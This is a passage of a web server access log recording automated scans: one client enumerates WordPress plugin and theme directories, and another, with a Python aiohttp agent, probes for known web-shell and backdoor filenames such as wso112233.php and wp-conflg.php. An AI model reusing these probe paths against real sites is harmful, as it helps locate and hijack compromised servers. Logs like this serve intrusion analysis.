/wp-content/themes/lightning/_g3/plugin-support/bbpress/css/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:07 -0400] "GET /linux-signpost/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:08 -0400] "GET /ibilling/wp-content/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:08 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:09 -0400] "GET /wp-content/plugins/elementor/modules/landing-pages/admin-menu-items/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:09 -0400] "GET /blog/wp-content/plugins/wordpress-seo/inc/indexables/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:10 -0400] "GET /metodic/plannmk/planoer/attestatped/kurspod/opit/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:11 -0400] "GET /plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:12 -0400] "GET /wp-content/plugins/wpforms-lite/assets/css/integrations/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:12 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:12 -0400] "GET /content/live/wshappens/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:13 -0400] "GET /forum/applications/conversations/views/messages/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:13 -0400] "GET /rockhead/wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:14 -0400] "GET /wp-content/plugins/asesor-cookies-para-la-ley-en-espana/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:14 -0400] "GET /content/live/robertatimothy/wp-content/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:15 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:15 -0400] "GET /themes/intense/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:16 -0400] "GET /theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:16 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:17 -0400] "GET /course/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:17 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:17 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:18 -0400] "GET /plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:18 -0400] "GET /symfony/finder/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:19 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:19 -0400] "GET /d/search/p/spinemedia/xmlb/multi/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:20 -0400] "GET /share/pear/Archive/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:20 -0400] "GET /wp-includes/js/tinymce/plugins/wplink/jquery3/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:20 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:21 -0400] "GET /wp-content/themes/flatsome/woocommerce/single-product/tabs/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:21 -0400] "GET /wp-content/plugins/apus-framework/libs/redux/redux-core/assets/scss/vendor/select2/theme/default/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:22 -0400] "GET /wp-content/plugins/image-optimization/modules/backups/components/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:22 -0400] "GET /wp-includes/js/tinymce/plugins/wpgallery/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:23 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:23 -0400] "GET /wp-content/themes/barthelme/images/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:24 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:24 -0400] "GET /wp-content/themes/woodmart/inc/integrations/gutenberg/build/layouts/sp-estimate-delivery/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:25 -0400] "GET /includes/Database/Models/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:25 -0400] "GET /wp-includes/sodium_compat/src/Core/Poly1305/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:26 -0400] "GET /wp-content/themes/88/vendor/yurunsoft/pay-sdk/src/Weixin/Reverse/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:26 -0400] "GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/src/RestApi/StoreApi/Controllers/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:27 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:27 -0400] "GET /logs/lab/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:27 -0400] "GET /posts/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:28 -0400] "GET /wp-content/plugins/wpforms-lite/assets/images/splash/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:28 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:29 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:29 -0400] "GET /wp-content/plugins/Tevolution/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:30 -0400] "GET /wp-includes/Text/loynquk/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:30 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:30 -0400] "GET /delivery/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:31 -0400] "GET /wp-content/plugins/elementor/data/base/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:31 -0400] "GET /pro-files/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:32 -0400] "GET /wp-content/plugins/instagram-slider-widget/libs/factory/templates/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:32 -0400] "GET /api/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:33 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:33 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/track/vendor/spatie/laravel-honeypot/resources/views/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:33 -0400] "GET /content/live/scrapy17/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:34 -0400] "GET /anonse/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:35 -0400] "GET /content/live/medalliadev/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:35 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:35 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:36 -0400] "GET /mantisbt/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:36 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:37 -0400] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:37 -0400] "GET /content/live/condosalesnw/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:38 -0400] "GET /amrecafr/Research/public/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:38 -0400] "GET /wp-content/plugins/redux-framework/redux-core/assets/img/raw/jquery-ui-bootstrap/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:38 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:39 -0400] "GET /apps/mediawiki/free-cad/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:39 -0400] "GET /stats/trunk/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:40 -0400] "GET /wp-content/plugins/download-manager/assets/css/themes/default/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:41 -0400] "GET /forums/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:41 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:41 -0400] "GET /content/live/dhrbc/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:42 -0400] "GET /content/live/myke/wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:42 -0400] "GET /clients/client6/web11/web/wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:43 -0400] "GET /bitnami/wordpress/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:43 -0400] "GET /wp-content/themes/ES10/framework/Hybridauth/Exception/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:44 -0400] "GET /wp-content/plugins/hellopress/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:44 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:44 -0400] "GET /htdocs/autoload_classmap/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:45 -0400] "GET /wp-content/plugins/elementor/modules/promotions/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:45 -0400] "GET /wwwroot/crmnmgd_Backup_20240828/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:46 -0400] "GET /images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:47 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:47 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:47 -0400] "GET /tpl/page/category/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:48 -0400] "GET /wwwroot/wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:48 -0400] "GET /content/live/feldmanroy2stg/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:49 -0400] "GET /wp-content/themes/lightning/_g2/assets/_scss/block/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:49 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:49 -0400] "GET /wp-content/plugins/webp-converter-for-media/vendor_prefixed/assets/build/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:50 -0400] "GET /products/tools/development-boards/versatile-express/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:50 -0400] "GET /wp-content/plugins/elementor/modules/nested-tabs/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:51 -0400] "GET /wp-content/plugins/so-widgets-bundle/widgets/cta/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:51 -0400] "GET /wp-content/plugins/js_composer/include/params/vc_grid_element/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:52 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:52 -0400] "GET /wp-content/plugins/ijdofvn/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:52 -0400] "GET /fonts/flaticon/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:53 -0400] "GET /materials/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:54 -0400] "GET /community/documentation/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:54 -0400] "GET /wp-content/plugins/nextgen-gallery/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:55 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/upgrades/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:55 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:55 -0400] "GET /wp-content/plugins/js_composer/assets/lib/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:56 -0400] "GET /wp-content/plugins/woocommerce/vendor/composer/installers/src/Composer/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:56 -0400] "GET /shubham/transparent_video/images/itteam/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:57 -0400] "GET /public/wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:57 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:58 -0400] "GET /clients/client2/web6/web/index/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:58 -0400] "GET /wp-content/uploads/wp-atom.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:58 -0400] "GET /wp-content/upgrade-temp-backup/plugins/themehunk-customizer/jot-shop/jot-shop-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:59 -0400] "GET /wwwroot/crmnmgd_Backup_20240828/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:59 -0400] "GET /content/live/annrickert/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:00 -0400] "GET /wp-includes/blocks/button/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:00 -0400] "GET /for_first_graders/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:01 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:01 -0400] "GET /wwwroot/wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:01 -0400] "GET /wp-content/plugins/backwpup/vendor/guzzlehttp/guzzle/src/Guzzle/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:02 -0400] "GET /content/live/richjsteph/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:03 -0400] "GET /content/live/guramarketing/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:03 -0400] "GET /content/live/gileadvillage/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:04 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:04 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:04 -0400] "GET /wp-content/plugins/revslider/includes/external/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:05 -0400] "GET /wp-content/plugins/simple-lightbox/template-tags/item/js/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:05 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:06 -0400] "GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/extensions/payment-methods/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:06 -0400] "GET /wp-content/plugins/bdthemes-element-pack/assets/js/controls/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:07 -0400] "GET /wp-content/themes/wpex-gopress/inc/framework/font-awesome/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:07 -0400] "GET /content/live/newhyl/wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:08 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:08 -0400] "GET /docroot/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:08 -0400] "GET /public_html/wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:09 -0400] "GET /wp-content/plugins/wp-rocket/inc/Engine/Admin/Settings/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:09 -0400] "GET /wwwroot/underwp/wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:10 -0400] "GET /vendor/sebastian/comparator/src/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:10 -0400] "GET /wp-content/themes_disabled/bridge2/framework/admin/meta-boxes/carousels/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:11 -0400] "GET /wp-content/plugins/matomo/app/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:11 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:12 -0400] "GET /wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-masterbar/dist/admin-color-schemes/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:12 -0400] "GET /wp-content/plugins/wordpress-seo/src/values/twitter/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:13 -0400] "GET /wp-content/plugins/wordpress-seo/src/general/user-interface/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:13 -0400] "GET /assets/admin/plugins/ckeditor/plugins/image/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:14 -0400] "GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/base/components/tabs/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:14 -0400] "GET /bayu123-cpu/nope/refs/heads/main/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:14 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:15 -0400] "GET /public/autoload_classmap/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:15 -0400] "GET /content/live/larush/wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:16 -0400] "GET /wp-content/plugins/elementor-pro/modules/table-of-contents/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:16 -0400] "GET /wp-content/plugins/mimetypes-link-icons/css/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:17 -0400] "GET /samreng/boutique/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:17 -0400] "GET /content/live/wilburcruce/wp-content/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:17 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:18 -0400] "GET /owncloud/config/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:18 -0400] "GET /content/live/salesoptimadi1/wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:19 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:19 -0400] "GET /kscreen_wiki/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:20 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:20 -0400] "GET /administrator/templates/hathor/com_plugins/plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:20 -0400] "GET /kland/wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:21 -0400] "GET /content/live/burnfrandevatl/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:21 -0400] "GET /wp-content/plugins/auxin-elements/includes/elementor/modules/theme-builder/classes/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:22 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:22 -0400] "GET /content/live/tastebuddy/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:22 -0400] "GET /wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:23 -0400] "GET /wp-includes/blocks/comment-edit-link/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:23 -0400] "GET /kali/scripts/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:24 -0400] "GET /modules/profile/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:24 -0400] "GET /user/agreen1/testing/mrbs/web/Mail/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:25 -0400] "GET /content/live/dburnfranchise/wp-content/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:25 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:25 -0400] "GET /www/wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:26 -0400] "GET /wp-content/plugins/bridge-core/modules/core-dashboard/assets/js/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:26 -0400] "GET /wwwroot/crmnmgd_Backup_20240828/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:27 -0400] "GET /wpalpha/public/wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:27 -0400] "GET /wp-includes/css/dist/reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:28 -0400] "GET /epasien/plugins/ckeditor/samples/old/toolbar/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:29 -0400] "GET /public_html/wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:29 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:29 -0400] "GET /content/live/trainingsltest/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:30 -0400] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:30 -0400] "GET /wwwroot/wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:31 -0400] "GET /wp-content/plugins/wpforms-lite/assets/lib/font-awesome/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:31 -0400] "GET /web/public/assets/images/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:31 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:32 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:32 -0400] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:33 -0400] "GET /content/live/huskyswimming/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:33 -0400] "GET /phpipam/functions/scripts/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:34 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:34 -0400] "GET /local/lighthouse/softwares/wordpress/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:34 -0400] "GET /statss/2022-12/dir/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:35 -0400] "GET /wp-content/plugins/elementor-pro/modules/forms/submissions/database/repositories/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:35 -0400] "GET /wp-content/plugins/tubepress/src/main/web/players/normal/ HTTP/1.1" 301 795 